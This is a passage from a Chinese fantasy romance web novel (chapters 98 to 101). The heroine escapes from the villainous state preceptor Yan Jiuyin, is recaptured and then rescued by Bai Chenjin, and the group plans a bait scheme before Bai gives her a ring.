她深吸一口气,理了理因挣扎而略显凌乱的衣襟和鬓发,挺直脊背,在车厢最内侧的位置端坐下来,双手交叠置于膝上,摆出一副尽可能平静的姿态。 她不能慌,至少在弄清楚情况之前,不能自乱阵脚。 吱呀一声,车门被从外面缓缓推开。 刺目的阳光瞬间涌入,驱散了车厢内的昏暗。 光线有些晃眼,沈染星下意识地眯了眯眼,透过敞开的车门,她看到外面是茂密的林木,枝叶在阳光下泛着鲜亮的绿意。 居然是在山林之中。 光线勾勒出门口之人的修长剪影,逆着光,看不清具体样貌,只能大致看出是个身姿挺拔的年轻男子。 他身形在门口停顿了一瞬,似乎对车内人过于平静的反应感到一丝意外。 随后,才迈步踏入了车厢。 随着他的靠近,光线逐渐照亮了他的面容。 只见来人穿着一身月白色的儒生长衫,衣料是上好的云锦,袖口与衣摆处用银线绣着雅致的竹叶暗纹。 他面容清俊,肤色白皙,眉眼温润,嘴角噙着一抹若有若无的浅笑,看上去像是一位出身高贵,饱读诗书的翩翩公子,周身甚至带着几分书卷气。 原著中,国师出场时,已是剧情后期,正邪双方激战正酣,他因吸食过多妖丹,身体已出现明显的妖化特征,形貌诡异,气质阴鸷。 而现在的国师,应该是被白尘烬重创后,处于韬光养晦阶段,还未开始妖化…… 可眼前这个温润如玉的白面书生……真的会是幕后黑手阎九胤吗? 她面上却不动声色,抬起眼眸,平静问道:“你是谁?” 那白面公子闻言,眼尾微微上扬,勾勒出一抹似是无奈又似是玩味的淡淡笑意,声音温和,似叹非叹:“小奴若,才过了这些时日,你真的不记得为师了?” 小奴若…… 这是原身的昵称? 果然是他,是造成如今一切动荡,也是差点害死纪明月的人—— 狗国师,阎九胤。 沈染星心突突地跳得厉害,情绪相当复杂,有兴奋,愤怒,恐惧…… 她强行压下这股情绪,抬起眼,直视着对方,没有承认,也没有否认。 把他杀了,或许纪明月更有可能醒过来! 国师阎九胤察觉到沈染星的敌意,非但不恼,反而像是看到了什么有趣的景象,唇角那抹温和的笑意加深了几分。 他缓声道:“小奴若,这副表情……莫不是在心里暗暗骂为师?” 沈染星心头一凛,迅速垂下眼睫,掩去眸中的情绪。 “不敢,我只是……真的不记得以前的事了,乍然知道自己师父竟如此年轻,有些惊讶而已。” 阎九胤轻笑出声,那笑声温润,仿佛春风拂过琴弦。 他抬手,极其自然地想去拂开沈染星额前一缕不听话的发丝,动作亲昵得令人不适。 “为师也知道,小奴若不会骂我的。”他语气笃定,“毕竟,一直以来,众多弟子中,我最疼爱的,就是你。” 沈染星微微侧头,避开了他后续的动作,只低声道:“是吗……我不记得了。” “不怕,”阎九胤从善如流地收回手,语气愈发温和,“这一次随为师回去,我会想办法治好你,让你想起所有事。” 沈染星抬起眼眸,困惑道:“可是,外面他们都说,你是坏人。” 阎九胤脸上没有被冒犯的不悦。 他微微倾身,与沈染星平视,那双看似温良的眸子里,盛满了真诚与些许无奈,反问道: “那你觉得,为师看起来像坏人吗?” 沈染星依言,竟真的仔仔细细,认认真真地端详了他片刻。 眼前之人眉目清俊,气质儒雅,周身萦绕着书香门第的贵气,确实与“坏人”二字毫不沾边。 她摇了摇头,老实回答:“不像。” 这个回答似乎取悦了阎九胤。 他笑容更真切了些,带着几分追忆的怅然:“自从你失踪后,为师其实一直在寻你。后来得知你过得不错,似乎很喜欢四处游历,我便想着,孩子大了,总要出去看看,便没有过多干涉,只盼着你玩累了能回来。” 他话锋一转:“可我万万没想到,你竟是失忆了,还受了奸人蒙蔽,你师姐明月她一直瞒着我你的真实情况,直到听闻你出了事,我详加查探,这才发现她早已居心不良,与妖族厮混在一起,甚至连你也一并骗了。” 沈染星安静地听着,此刻却忽然开口:“与妖厮混在一起的是我,这个世道,与妖厮混在一起,名气最大的,是我才对。” 阎九胤闻言,非但没有斥责,反而用一种更加宽容的目光看她。 他再次伸手,这次轻轻落在了沈染星的发顶。 沈染星本想躲的,可还是忍住了。 当下最好不好惹怒他。 阎九胤包容道:“为师不怪你,你是被骗的,他们趁你失忆,心智不全,才用那些花言巧语蛊惑了你。” 沈染星微微蹙眉,说得真有那么回事似的。 阎九胤:“他们知道我一向最疼爱你,视你如己出,所以他们才要利用你来对付我,这既让我投鼠忌器,无从反击,更是要诛我的心。” 说完,他长长叹息一声。 沈染星看着他情真意切的模样,大为震惊。 难道原身,对于这人而言,真的是与众不同的存在? 若真是如此,自己会不会更容易得手,杀了他? 她沉默片刻顺从地点了点头,低声道:“我知道了。” 阎九胤对她的乖巧十分满意,弯腰,在车厢内一个固定的矮柜前,打开柜门,从里面取出几本书。 书页虽泛着柔和的旧黄色,保存得极好。 沈染星的视线被吸引过去,问道:“这是什么书?” 阎九胤将书放在小几上,指尖拂过封面,眼神流露出怀念:“这是你师娘生前留下的游记。不过是誊抄版,原版为师可舍不得带出来颠簸。” 他拿起其中最薄的一本,递到沈染星面:“这是你小时候最喜欢翻看的一本,里面记载了不少趣事,你如今再看看,或许能记起些什么。” 沈染星接过书,依言翻开,纸质柔韧,上面的字迹清秀工整,间或配有寥寥几笔却意境悠远的山水插图。 内容确实多是记录游山玩水的见闻,字里行间里,能看出执笔人当时愉悦的心情,偶尔还会提到“九胤”如何如何,笔触间透着亲昵与依赖。 看起来…… 居然是一对恩爱眷侣的旅行记录。 她抬起头,看向阎九胤:“师娘现在在哪里呢?” 闻言,阎九胤的神色瞬间黯淡下去,那抹温和的笑意彻底消失。 他沉默了片刻,才低声道:“你师娘早就不在了。” 沈染星配合地低下头。 车厢内陷入短暂的寂静,只余下车轮碾过路面的单调声响。 过了好一会儿,阎九胤才再次开口:“你师娘她,是为了救我,才……” 他顿了顿,似乎需要极大的力气,才能继续说下去:“那时,妖族视人族为蝼蚁,尤其看不起与人类结合的同类。我们被她的族人一路追杀,我身受重伤,命悬一线。她为了救我……将自己的妖丹渡给了我。” 他抬起眼,声音愈发低沉:“她失去了妖丹,为了引开追兵,最终被害,葬身在一片冰冷的湖泊旁。” 说完,他闭上眼,深吸一口气,再睁开时,眼底是浓得化不开的惆怅与恨意。 “所以,我们与妖族有不共戴天之仇,迟早要让他们付出代价。” 沈染星一时不知该如何回应,索性低着头,掩饰情绪。 这狗国师,嘴里没一句真话。 阎九胤没理会她的沉默,眼底突然浮现一丝疯狂,紧紧盯着她:“所以,小奴若,这一次,你会一直陪在为师身边的,是吗?不会再被人蛊惑,离开我了,对吗?” 沈染星脊背微寒,躲无可躲,只得点头回应,甚至扯出一个乖巧的笑容:“嗯,师父,我陪着你。” 这个回答再次取悦了阎九胤。 他脸上瞬间阴霾尽散,恢复了那派如沐春风的温和笑意,仿佛刚才那个散发着恨意与偏执,只是一场幻觉。 “好,好孩子。” 他满意地颔首,不再多言。 马车在官道上不疾不徐地前行。 尽管国师的存在感极强,让人无法完全放松,但他给的那本师娘游记,内容确实引人入胜。 文笔优美,情感细腻,记录了许多山水见闻和生活趣事。 从字里行间可以看出,这位师娘是位活泼灵动的女子,而游记中提及的九胤,则是一位风度翩翩,学识渊博,且对她极为呵护的世家公子形象。 沈染星甚至看到了关于阎九胤出身的零星记载。 他出身显赫世家,年少时便才名远播,本应在朝堂大展宏图,却在遇到那位女子后,毅然放弃了唾手可得的功名利禄,选择与她寄情山水,隐居世外。 这记载,与纪明月所揭露的国师为权势所做的一切,包括挑动人妖矛盾、吸食妖丹……简直完全相悖- 不知不觉,天色已暗。 马车在一处驿站前停下,准备在此过夜。 沈染星在自己的房间简单洗漱后,正打算歇下,门外响起了轻轻的敲门声。 她打开门,是一名低眉顺眼的侍女,手中托着一个木质托盘,上面整齐地叠放着一套衣物。 “姑娘,这是国师大人为您准备的明日更换的衣裳。” 沈染星目光落在衣物上。 那是一套藕荷色的交领襦裙,衣料看起来柔软昂贵,在烛光下泛着细腻柔和的光泽,衣襟和袖口处,以同色系但略深的丝线绣着缠枝莲纹,针脚细密精致,既不张扬,又处处透着低调的奢华。 阎九胤的审美,确实无可挑剔,也符合他的出生。 沈染星接过托盘,淡淡道:“多谢。” 门轻轻合上。 沈染星端着衣物转身,刚走回屋内,眼角余光猛地瞥见内室屏风后,似乎立着一道模糊的人影。 她心头巨震,气血瞬间上涌,几乎要惊叫出声。 这显然是一个局,此时他来到这里,和主动踏入陷阱有什么区别? 沈染星放下手里衣物,快步朝那边走去。 而那道人影,也同时从屏风后走了出来。 烛光摇曳,将来人的面容清晰地映照出来。 ……不是他。 第99章 你怎么来了? 来人穿着一身驿卒的粗布衣裳, 身形精干,面容普通,属于丢入人海便难以辨认的类型,唯有一双眼睛, 锐利有神, 此刻正紧紧盯着她。 沈染星心下骇然, 下意识地后退了一步,拉开距离,警惕地压低声音:“你是谁!” 那人立刻做出噤声的手势, 声音压得极低:“师妹, 我是来救你出去的。” 师妹? 他是阎九胤的弟子。 沈染星警惕地看着他:“救我?为什么?” “纪明月于我有救命之恩, ”那人言简意赅,“我答应过她,若他日你落入国师手中,我必竭尽全力,还她这份恩情, 救你脱险。” 他说着, 便试探性地上前, 想要抓住沈染星的手腕, 带她立刻离开。 沈染星却灵活地避开他的手,摇了摇头:“不必了,我答应了阎九胤,不会离开他。” 那人闻言,猛地瞪大了眼睛, 嘴巴微张,脸上写满了难以置信,仿佛听到了这世上最荒谬的话。 他上下打量着沈染星, 像是要确认她是否被下了蛊惑了心智,声音因急切而微微拔高,又迅速压下:“你该不会真的信了他那套情深义重,与妖族不共戴天的鬼话了吧?他那都是骗你的!他……” 见他反应真实,不似作伪,应当不是阎九胤派来试探的。 沈染星心中安定了几分。 她抬手打断他:“我没信,但我还不能离开,还有要做的事。” 那人愣了一下:“可越靠近上京,师父势力盘根错节,戒备森严,再想救你,难如登天。” 沈染星果断拒绝:“我不能跟你走。” “这可能是你唯一的机会。” “不,这不是唯一的机会。”沈染星道,“你既然能潜入此地,想必也有办法传递消息。我不需要你带我走,我只求你帮我带一封信出去。” 她心里如同明镜一般。 无论阎九胤的故事是真是假,他此刻的目的都是为了稳住她,将她牢牢控制在手心。 而她,再次成为了那个最诱人的饵料,被用来垂钓白尘烬、萧霁雪乃至所有关心她的人。 他们若得知她被阎九胤掳走,必定方寸大乱,不顾一切前来营救。 而阎九胤必然布下了天罗地网,正等着他们自投罗网。 这封信,就是要稳住他们,告知自己暂时无虞,切莫冲动行事,落入圈套。 不仅如此,还要利用这一次机会,她引阎九胤出去,一起杀了他。 三日后,通过那名不知名师兄,沈染星收到了白尘烬的回信。 信中言简意赅,却让她悬着的心落回实处。 他承诺绝不会冲动行事,只会远远缀在后方,伺机而动,绝不会踏入国师可能布下的明显陷阱。 阎九胤见沈染星这几日异常安分,不仅没有丝毫反抗迹象,甚至对那几本师娘游记表现出浓厚的兴趣,时常捧着阅读,神情专注,便渐渐放松了对她的贴身监视,看守不再那么寸步不离。 这日,车队再次在一处城镇的客栈落脚。 傍晚时分,有人匆匆来报,似乎发生了紧急之事。 阎九胤听罢,面色微凝,简单对随行护卫交代了几句,便带着几人匆匆离去,身影很快消失在暮色中。 机会来了! 沈染星强压住心头的激动,佯装无事地回到自己房间。 她拿起一块干硬的面饼,掰成细小的碎块,轻轻撒在房间的窗台上。 不过片刻,一只雀儿落在了窗沿上,羽毛绿油油,体型比寻常麻雀还要小巧一圈。 一落定,便低头快速啄食起来。 这正是沈染星在路上凭借吃食贿赂的一只小雀妖。 它妖力极其微弱,除了灵智稍开,能简单交流外,与普通鸟儿无异。 也正是这份弱小,让即便对妖气敏感的阎九胤,也未曾将其放在眼里,这才让沈染星钻了空子。 “阎九胤往哪个方向去了?”沈染星压低声音。 小雀妖抬起小脑袋,翅膀指向城西的方向,脆生生道:“那边!” 沈染星一听,心脏猛地漏跳一拍,随即开始不受控制地加速狂跳。 这几日,她让小雀妖定时探查白尘烬一行人的踪迹。 据雀妖回报,他们大致跟在车队后方偏东的方向。 而此刻国师离去的城西,与白尘烬所在的东方…… 截然相反。 机会来了! 沈染星脱下一枚耳坠,让小雀妖衔着,作为信物,先行飞往东边去寻找白尘烬。 他见到信物,一定能明白她的意图,一定会赶来与她汇合。 阎九胤收到她逃离的消息,也会追过来,那么所有人,都会在阎九胤掌控范围之外的地方相遇。 待小雀妖离开,沈染星深吸一口气,双手用力撑住窗台,身体轻盈地向上跃起。 裙摆因动作而翻飞,如同骤然绽放的花朵,又迅速被夜风抚平。 她侧身坐在窗沿上,低头看了一眼并不算高的地面,双手一推,整个人朝着下方坠去。 夜风呼啸着掠过耳畔,吹乱了她的鬓发。 失重感仅仅持续了一瞬,双脚便接触到了坚实却有些潮湿的土地。 顾不上拍打沾在衣裙上的尘土和草屑,立刻蜷缩身体,借助墙角的阴影隐匿身形。 屏息凝神,侧耳倾听。 心脏在胸腔里咚咚直跳,几乎要撞出来。 确认客栈后方依旧寂静,并未引起骚动,沈染星这才松了口气,不敢耽搁,立刻猫着腰,沿着墙根的阴影,迅速离去。 凭借着记忆,沈染星很快找到了路上看到的成衣铺子。 她低着头,混在几个客人身后,进了铺子。 再次出来时,她已换上粗布男装,还戴着一顶斗笠。 随后,又到隔壁一家车马行,雇了一辆看起来最普通的青篷马车,只说要去东边下一个城镇寻亲。 坐在微微颠簸的马车里,沈染星终于敢稍稍撩开车窗的布帘一角。 外面天色已完全暗下,但星月皎洁,清辉遍洒,官道两旁是影影绰绰的树木黑影,往后看,已经把那个小镇远远甩在身后。 想到此处,连日来强压在心底的紧张,恐惧,伪装,终于可以暂时卸下。 沈染星深吸了一口清凉的晚风,她,居然真的逃出来了。 最好的结果是,她先遇上白尘烬,一起给阎九胤设伏。 再不济,双方寻到她的时间差不多,她的计谋也算成功了。阎九胤被重创后,势力未完全恢复,肯定不敌主角团三人。 然而,正想着,车帘外传来“咚”的一声闷响。 似乎有什么东西砸落。 沈染星却被这突如其来的声响,惊得瞬间睁大了眼睛。 刚刚平复些许的心跳再次失控般狂跳起来,几乎要冲破喉咙。 马车依旧碌碌前行。 她死死盯着那被风拂动的车帘,若隐若现出现一抹绿。 是风刮落的树枝? 还是……? 她强迫自己冷静,鼓起勇气,颤抖着伸出手,轻轻撩开了那道隔绝内外的布帘。 下一刻,沈染星的瞳孔骤缩,全身的血液仿佛在瞬间冻结。 车辕之上,赫然躺着那只刚刚为她飞去报信的小雀妖。 它小小的身体蜷缩着,羽毛凌乱,沾染着暗红色的血迹,双眼紧闭,不知是死是活,就那样无声无息地躺在那里,仿佛一个警告。 小雀妖没有成功传信。 赶车的车夫这才注意到动静,嘟囔了一句:“奇怪,哪儿来的鸟?还带着血……” 沈染星完全听不进他的话,风声在耳边呼啸,都盖不住她如擂鼓的心跳。 随即,她又听到,不远处有细细簌簌的声响,不紧不慢,越来越近,像死神的逼近。 沈染星一把揪住车夫的衣领,力道大得惊人。 车夫本是个普通百姓,哪里见过这般阵势,一抬头,撞见“少年”那双狠厉决绝,与外表截然不同的眼眸。 顿时吓得魂飞魄散,僵在原地。 他不是国师的人! 沈染星也顾不得为何阎九胤如此之快便寻了上来,她一把将吓傻的车夫推开,自己跃上车辕,死死拉住缰绳,强行勒停了马匹。 随即她跳下马车,手指因紧张而微微颤抖,却异常利落,解开套马的绳索和鞍具。 逼到绝境时,这些平日里不曾沾手的活计,竟做得如此顺畅。 沈染星暗暗感谢了一番原身技多不压身后,解了马,就要骑上去。 车夫这终于反应过来,扑上来想要阻拦:“这,这是我的马!” 沈染星看也不看,从怀中摸出一支沉甸甸的金簪,反手丢到他怀里:“如果想要活命……” 她抬手指向一侧:“朝着那边跑,一直跑,不要回头。” 车夫捧着金簪,愣在原地,似乎还没反应过来。 沈染星一脚踩上马镫,利落地翻身上马。 她准备动身,却见车夫还愣着,喝道:“快!” 车夫被这声厉喝吓得浑身一抖,再不敢多留,连滚带爬,朝着她指的方向狂奔而去。 等人走了,她一扯缰绳,调转马头,朝着西北白尘烬所在的方向狠狠一夹马腹。 骏马吃痛,长嘶一声,如离弦之箭般冲了出去。 然而,不过才跑了片刻。 数道黑影如同鬼魅,从道路两旁的树林中掠出,落在她前方的官道上,堵死了去路。 她心中一沉,猛地勒紧缰绳想要转向,身后和侧翼也同时落下了数道同样装扮,气息阴冷的身影。 她被彻底包围了。 紧接着,一道刺耳的破空声撕裂空气。 马儿发出一声凄厉痛苦的悲鸣,一支羽箭射中了它。 它前蹄一软,庞大的身躯带着巨大的惯性,向前轰然栽倒,滚烫的鲜血瞬间从伤口喷涌而出,染红了黄土路面。 沈染星被巨大的力量甩飞出去,重重摔落在坚硬的地面上。 一时间,只觉得五脏六腑都移了位,眼前阵阵发黑,却强撑着用双臂支撑起身体,试图爬起来。 一个她此刻最不愿听到的声音,自身后慢悠悠地响起: “小奴若,你不是答应好了,会一直陪着为师,不离开的吗?你不乖啊。” 听到这句话,沈染星浑身一僵,身体不受控制地发软,颤抖,如同被抽走了所有骨头,瘫坐在地上,连站起来的力气都提不起半分。 这是原身深植于骨髓的,对国师阎九胤这种态度的恐惧。 这阎九胤,肯定是一个死变.态! 沈染星咬着牙,艰难地转过身,看向声音的来源。 阎九胤正慢条斯理,将手中长弓递给身后的随从。 他依旧穿着那身月白长衫,靴底踩过被马血染红的落叶,一步步向她走来。 月光落在他俊雅的脸上,更显目光冰冷,死死锁在她身上。 “怎么?”他在她面前几步远处站定,微微俯身,阴影笼罩下来,“不仅要离开为师,现在连话都不想同为师说了?” 沈染星紧抿着唇,没说话。 阎九胤看着她强作镇定的模样,忽然轻笑一声:“你们女人……真是无情啊。一个两个,都是这般……说走就走,说离开我,便毫不犹豫地离开我。” 闻言,沈染星冷笑一声:“你以为我不知道?” 她扬起下巴:“你口中的那位师娘,那只九尾狐……她根本不是为你而死,她是发现自己倾心相待的枕边人,从一开始接近她,就是为了她那颗能助你延寿的妖丹,是你,亲手设计毁了她的族群。 也是是你,在她最信任你的时候,残忍地剖开了她的胸膛,取走了她的妖丹。她的妖丹……想必早就被你消耗殆尽,用来维持你这副虚伪的皮囊了吧?” 阎九胤越听,脸上那副从容温和的面具越是维持不住,渐渐出现了裂痕,然后彻底粉碎。 他的面色阴沉得能滴出水来,温雅尽褪,猛地逼近一步。 “谁告诉你的?!” 沈染星回想起原书剧情,猛然间,将这几日所看,所知的事情,如同珠子般,串了起来。 她缓缓瞠大双目。 阎九胤出身簪缨世家,才华横溢是真,放弃名利,被狐族追杀也是真,可原因却与他讲述的截然相反。 分明是他觊觎长生,依据邪典寻觅目标,故意设计与那九尾狐相遇,获取信任后狠下毒手,这才引来狐族不死不休的追杀,而他更是心狠手辣,几乎将那一支狐族屠戮殆尽。 仔细思量,世间大妖众多,为何纪明月笃定国师绝不会放过雪拂的妖丹? 甚至不惜将他囚禁,谎称妖丹遗失,冒着巨大风险也要将妖丹藏起来? 或许……正是因为雪拂与那位惨死的九尾狐,有着某种渊源。 原著提及,国师活了几百年,依靠吸食妖丹维系早已难以为继,才会愈发疯狂地寻找续命之法。 他盯上雪拂那强大的九尾天狐妖丹,恐怕正是他计划中关键的一环。 想到此处,想到纪明月那灰白的脸,沈染星顿时怒火中烧。 她恶狠狠地看向阎九胤,骂道:“死变.态!你恶事做尽,迟早要遭报应!” 阎九胤从未这般被人指着鼻子骂过,顿时目眦欲裂,最后的风度荡然无存。 他猛地俯身,五指成爪,带着凌厉的劲风,直直朝着沈染星纤细的脖颈掐来。 沈染星就势在地上狼狈地一滚,手脚并用地爬了起来。 然而,还没跑出两步,就一头撞进了一个怀抱里。 她愣愣地抬头,便对上了一双熟悉的灰蓝眼眸。 “你怎么来了?”她惊呼出声。 第100章 直接追去 白尘烬一手稳稳地环住她的腰, 支撑住她发软的身体,一手把冲上前来的阎九胤击退,随后旋身避开,离了包围圈, 才道: “今日没看到那只小雀妖按时飞来, 心中不安, 便想着亲自过来查看一下。” 这段时日,为了确保逃亡计划能无缝衔接,沈染星的确让小雀妖每日固定时辰, 飞往白尘烬的临时落脚点, 确认他的方位。 可她万万没想到, 白尘烬竟会因小雀妖一次未准时出现,就如此敏锐地察觉到异常,并亲自前来接应。 沈染星懵了一瞬,下意识追问:“你怎么能确定,那只雀妖是我派去的?” 白尘烬一边留意着四周蠢蠢欲动的敌人, 一边分神回答:“寻常妖族, 感知到我的气息, 大多避之不及。何况是那般弱小的雀妖。可它, 即便怕得浑身羽毛都在抖,却还是坚持飞近,甚至……” 沈染星:“甚至什么?” 白尘烬沉默了一瞬,才不太情愿地吐出一个字:“……站。” “站?”沈染星一时没反应过来。 “……站在我头上了。” …… 沈染星一下子被呛到,剧烈地咳嗽起来。 她当时确实是吩咐小雀妖“飞高一些, 看清楚他的情况就回来”,谁能想到那只小雀妖的理解如此……耿直。 居然直接落在了白尘烬的头顶! 白尘烬见她咳得厉害,暂时将注意力从敌人身上收回, 轻轻拍着她的背,帮她顺着气。 待沈染星缓过劲来,又是好笑又是难以置信地看着他:“你居然也愿意让它站?” 以白尘烬的性子,没当场把那小雀妖捏碎都算是奇迹了。 白尘烬瞥了她一眼,语气平板无波:“我以为,此举或许另有什么深意。” 沈染星:…… 就在这时,几声凄厉的破空声响起,数支淬毒的弩箭从不同方向射来。 白尘烬揽着沈染星,一动不动。 他们身后的阴影处,数道矫健的身影扑出,刀光剑影,与国师的手下缠斗起来,金属交击之声不绝于耳。 是白尘烬带来的人及时赶到了。 打斗声让沈染星从方才有些脱线的对话中彻底清醒过来。 她忽然想起那只生死未卜的小雀妖,情绪不免又低落了下去,眼中闪过一丝难过。 然而,还未等她这丝伤感蔓延开来。 接连几声震耳欲聋的爆炸声从不远处传来,伴随着耀眼的火光和浓密的黑烟。 阎九胤见白尘烬带人赶到,心知手下绝非对手,自己如今状态也难敌白尘烬,竟毫不犹豫地制造混乱,趁机脱身了。 沈染星一见国师要跑,顿时急了! 好不容易才把他从暗处引出来,怎能让他再次逃脱? “他跑了,我们得赶快追上去!”她抓住白尘烬的衣袖,就要冲进去。 白尘烬却并未立刻动作,反而收紧了环住她的手臂,制止了她想要冲出去的势头:“不必急,他们已经在前面必经之路上等着他了。” 他们自然指的是墨临渊和萧霁雪。 “那我们也追上去啊,前后夹击,机会更大!” 沈染星不甘心,她太想尽快结束这一切了,这关系到明月的生机,也关系到雪拂的安危。 白尘烬依旧没有松开手,目光落在她因激动而泛红的脸上,声音低沉:“这里太危险了,流箭无眼,我先带你回去。” “可是……” 沈染星还想争辩,她担心万一前面的人拦不住狡诈的国师。 “阎九胤狡兔三窟,他经营多年,留了不少后手。”白尘烬道,“即便我们此刻追上去,与前面的人配合,抓住他的概率依旧不大。” 万一呢…… 沈染星还想将这两个字说出口。 可当她抬起头,真正看清白尘烬的神色时,到了嘴边的话却猛地噎住了。 白尘烬的表面依旧是平静的,甚至带着他一贯的从容,仿佛一切尽在掌握。 然而,眼眸深处,却是满满的疲惫。 她的心像是被什么东西狠狠揪了一下:“你这几天……该不会一直都没合眼睡觉吧?” 白尘烬没有直接回答。 他只是微微弯腰,将额头轻轻抵在沈染星的颈窝处,周身那股冰冷的强势感消散了不少。 他闭了闭眼,声音闷闷地传来:“你落在他手里,生死未卜,让我如何睡得着?” 沈染星闻言,满腔的急切和焦虑如同被戳破的气球,瞬间消散。 她有些愧疚。 是啊,她只想着自己的计划,却忘了她在国师手中的每一刻,对他而言都是怎样的煎熬。 她伸出手,轻轻回抱住他,在他紧绷的脊背上安抚地拍了拍。 白尘烬抬起头,道:“我带你回去,好不好?” 沈染星犹豫了片刻,还是点了点头:“好,我们先回去。” 那只小雀妖命不该绝。 白尘烬与沈染星回马车处找到了它,它伤势极重,但终究还留着一口气。 沈染星把它带回客栈,又给它处理了伤口。 刚处理完小雀妖的伤势,一抬头,便对上白尘烬始终未曾移开的视线。 那目光不似往常的直接与专注,反而带着一丝古怪。 “你为什么一直盯着我看?”她忍不住问道,下意识摸了摸自己的脸。 白尘烬闻言,缓缓收回视线:“只是觉得,你今日的装扮,有些奇怪。” 沈染星先是一愣,随即恍然,低头看了看自己身上那套粗糙的青色男装。 她抬手正了正有些歪斜的幞头,略带得意地扬了扬下巴:“不好看吗?” 其实她这身装扮并不难看。 尽管衣衫简陋,布料粗糙,却掩不住她玲珑的身段和过于清丽的五官。 皮肤白皙细腻,即便刻意抹了些许灰尘,依旧透着一股子水灵,眉眼间的灵动更是难以完全遮掩,看上去活脱脱就是个家境尚可,被保护得极好,又不谙世事的粉嫩少年郎。 她自认为这乔装还算成功。 白尘烬没有回答,而是长臂一伸,将她揽入怀中。 他的手掌隔着粗糙的布料,感受到她纤细的腰肢和温热的体温。 随后低下头,目光在她脸上流转片刻,才低声道:“好看。” 话音未落,一个轻柔的吻便已落在她的唇上。 此时,屋外传来了脚步声。 两人同时转头望去,萧霁雪与墨临渊风尘仆仆地回来了。 没等他们走近,沈染星便急切地迎了上去:“怎么样?抓到人了吗?” 萧霁雪面色凝重,摇了摇头:“人是抓到了一个,但只是国师精心培养的替身之一。” 她说着,眉宇间有些沮丧疲惫,自顾自走到桌边,看样子是想倒杯水喝。 沈染星手疾眼快,连忙摆好两个干净的茶杯,动作麻利倒好热茶,先递了一杯给萧霁雪,又将另一杯递给紧随其后的墨临渊。 萧霁雪接过茶杯,一饮而尽,才继续道:“我们当场便审讯了那个替身。” “可有审出什么关键信息?”沈染星追问。 “有。”萧霁雪的脸色这才好转一些,“根据那替身提供的情报,我们已将国师此次带出来的亲信,清理了一大批,他在附近布设的所有隐秘阵法和据点,也都被我们顺势捣毁,并且已经派了可靠的人手在那些关键地点驻守,以防他杀个回马枪或再利用。” 沈染星一听,觉得这虽未擒获首恶,但成果也算显著,至少大大削弱了国师在外的羽翼。 然而,萧霁雪沉吟片刻,语气再次沉了下来:“不过这也暴露了一个问题。近段时间以来,国师在京城之外的势力,已被我们联手清剿得七七八八,他所剩的容身之处已然不多。可即便如此,我们依旧没能锁定他的真身。” 沈染星心思电转,脱口而出:“他该不会是退回上京国师府了吧?” 那是他经营多年的大本营,最危险的地方,有时反而最安全。 萧霁雪赞赏地看了她一眼:“不错,我们推测,他极有可能已经暗中潜回了国师府。” “那我们还等什么?直接追去上京啊!” 萧霁雪却摇了摇头:“没那么简单,国师府是他的老巢,机关重重,守卫森严且多是死士。我们之前并非没有尝试过派人潜入,但无一例外,都失败了,甚至……有去无回。” 气氛一时有些凝滞。 沈染星忽然开口:“我有办法。” 瞬间,在场几人的目光,皆齐刷刷地聚焦在她身上。 沈染星:“其实我只是基于对他的了解,做一个推测。国师此人,极度好面子,尤其在意自身形象。所以他才会刻意经营,让自己的深情形象以及家世故事流传于市井。但我知道,这其中水分极大。” “而他,肯定担心我会将他的假面戳穿。所以,如果有机会,他一定会想办法,再次将我控制住。一来,可以堵住我的嘴;二来,我依旧是引诱你们的最佳饵料。” 她伸手取过桌上的两个空茶杯,又把茶壶放在一侧。 “所以,我们可以顺势设一个局。” “既然不清楚上次具体是谁,通过什么渠道将我绑走,我们这次就故意卖个破绽,让他们有机会再绑我一次。” 她将代表自己的那个茶杯,再次推到了茶壶后面。 “然后,” 她将代表营救力量的茶杯也推向茶壶,“你们派人暗中紧跟,想办法借此机会,摸清进入国师府的路径,甚至潜进去。” “即便最终无法派人潜入也没关系,” 沈染星目光扫过众人,“我会想办法在内部取得国师的信任,至少是暂时的稳住他,届时与你们里应外合,从内部瓦解他的防御……” “不行!” 她话还未说完,一只骨节分明的手突然从斜刺里伸出,扫乱了桌上摆出的茶具。 茶杯与茶壶碰撞,发出清脆的声响,茶水溅湿了桌面。 沈染星抬头,对上白尘烬那双结满寒冰的眼眸。 “太危险了。”他说。 沈染星:“我手上有他迫切需要的东西作为筹码,他至少在达到目的前,不会轻易伤害我……” “那也不行!”白尘烬打断她。 一旁的萧霁雪见状,开口道:“既然如此,沈东家,你把你知道的关键信息告诉我,由我来充当这个诱饵。” 她话音刚落,旁边的墨临渊眉头立刻皱起,刚想开口,却被萧霁雪一个眼神无声地压了下去。 萧霁雪分析:“我武功比你高,对国师府的了解也更深,若真遇到突发状况,自保和应对的能力都更强。” 沈染星却摇了摇头:“正因为如此,如果是萧大人你,我担心国师根本不会上当。我怀疑他执着于抓我,除了灭口和引你们前来之外,还有另外一个更重要的目的。” 白尘烬眉头轻皱:“什么目的?” 沈染星:“找到雪拂和明月。他必须得到一颗完整强大的九尾天狐妖丹,才能延续他日益衰败的生命和力量。而目前,我与雪拂的关系,使他相信我能引他出来。” 这么看来,沈染星确实是充当这个诱饵最好,甚至是唯一的人选。 萧霁雪沉默了,她不得不承认沈染星分析得有理,默认了这个方案。 沈染星再次看向面色紧绷的白尘烬,放软了声音:“所以说,在我帮他找到雪拂和明月之前,他一定会确保我的安全,我性命是无忧的。” 房间里陷入了长时间的寂静,只能听到窗外隐约的风声。 许久,白尘烬才终于开口:“你去也可以。” 沈染星眼中刚闪过一丝亮光,便听到他紧接着道: “不过,要迟几日,我需要时间去寻一件东西。”《 》 100-104 第101章 计划有变 沈染星怎么也没想到, 白尘烬口中需要耗费几日去寻的物件,竟会是一对戒指。 客栈后院,她站在一棵枝繁叶茂的古树下,午后的阳光被层层叠叠的叶片筛过, 化作无数跃动的金色光斑, 洒落在她和白尘烬身上, 带着暖融融的温度。 她微微张着嘴,不可置信看着白尘烬手中那个打开的锦盒上。 锦盒是红色的丝绒材质,低调而华贵。 盒内衬着柔软的丝绸, 上面静静躺着一对戒指。 它们是简洁的素圈, 材质似银非银, 泛着一种内敛得如同月光般柔和的哑光,圈身打磨得异常光滑圆润,没有任何繁复的雕刻。 只在戒指内侧,似乎隐约能看到淡淡的冰蓝色暗芒。 白尘烬取出其中那枚明显纤细许多的戒指,托在指尖。 他抬起眼眸, 看向仍处于惊讶中的沈染星:“我不太明白, 互相佩戴指环, 对你而言, 究竟有何等特殊的意义。” 说着,他执起沈染星的左手,将那枚素圈,缓缓套向她左手的无名指。 “不过我知道,”他低沉的声音在斑驳的光影中响起, “这件事,对你的意义,定然是非同一般的。” 金属触感冰凉, 